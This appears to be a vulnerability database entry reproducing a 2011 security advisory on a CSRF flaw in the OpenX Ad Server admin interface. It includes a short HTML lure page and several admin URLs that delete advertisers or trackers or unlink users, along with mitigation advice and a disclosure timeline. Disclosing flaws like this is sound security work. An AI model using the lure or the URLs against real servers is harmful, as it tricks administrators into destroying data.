OpenX Ad Server CSRF Vulnerability

vendor:

OpenX Ad Server

by:

Narendra Shinde

7.5

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: OpenX Ad Server

Affected Version From: 2.8.2007

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: a:openx:openx_ad_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 11.04

2011

OpenX Ad Server CSRF Vulnerability

The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.Attacker can modify application data.

Mitigation:

Implementing CSRF protection tokens, using HTTPOnly cookies, and using same-site cookies.

Source

Exploit-DB raw data:

Secur-I Research Group Security Advisory
=======================================================================
 Title: OpenX Ad Server CSRF Vulnerability
 Product: OpenX Ad Server
 Vulnerable version: 2.8.7 and probably earlier versions
 Fixed version: N/A
 Impact: High
 Homepage: http://www.openx.org/
 Vulnerability ID: SV-01
 Found: 7/7/2011
Tested on : Ubuntu 11.04
By: Narendra Shinde
      Secur-I Research Group
      http://securview.com/
=======================================================================

Vendor description:
-------------------
OpenX is the world�s leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue.

OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide

Source: http://www.openx.org/about/facts


Vulnerability Information:
-------------------------
Class: Cross-Site Request Forgery (CSRF) [CWE-352]
Impact: Unintentional changes in application.
Remotely Exploitable: Yes
Authentication Required: No
User interaction Required : Yes
CVE Name: N/A

Vulnerability overview/description:
-----------------------------------
The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.Attacker can modify application data.



Proof of concept:
-----------------
Code:

<html>
<body>
<h1> Check This new Snap </h1>
<a href=�http://vulnerablewebsite/www/admin/advertiser-delete.php?clientid=2> Check This </a>
</body>
</html>




The following URL could be used to perform CSRF attacks:

http://vulnerablewebsite/www/admin/advertiser-delete.php?clientid=[valid-id]

http://vulnerablewebsite/www/admin/advertiser-user-unlink.php?userid=[valid-id]&clientid[valid-id]

http://vulnerablewebsite/www/admin/tracker-delete.php?clientid[valid-id]&trackerid[valid-id]



Workaround:
-----------
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

Timeline:
Discovered: 7/7/2011
Contacted vendor :  No response
Again Contacted Vendor: 19/7/2011 NO Respoonse
Public Disclosure :24/7/2011

Thanks & Regards,
Narendra.

Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.